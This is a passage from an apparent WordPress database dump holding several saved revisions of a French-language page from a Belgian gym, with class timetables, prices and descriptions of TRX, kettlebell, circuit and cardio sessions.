30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:42:38', '2013-07-03 16:42:38', '', 11, 'http://www.crosstrainingcenter.be/?p=173', 0, 'revision', '', 0),
(166, 1, '2013-07-03 16:29:16', '2013-07-03 16:29:16', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:29:16', '2013-07-03 16:29:16', '', 11, 'http://www.crosstrainingcenter.be/?p=166', 0, 'revision', '', 0),
(162, 1, '2013-07-03 16:17:49', '2013-07-03 16:17:49', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi[attr class=\&quot;ttitre\&quot;],Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:17:49', '2013-07-03 16:17:49', '', 11, 'http://www.crosstrainingcenter.be/?p=162', 0, 'revision', '', 0),
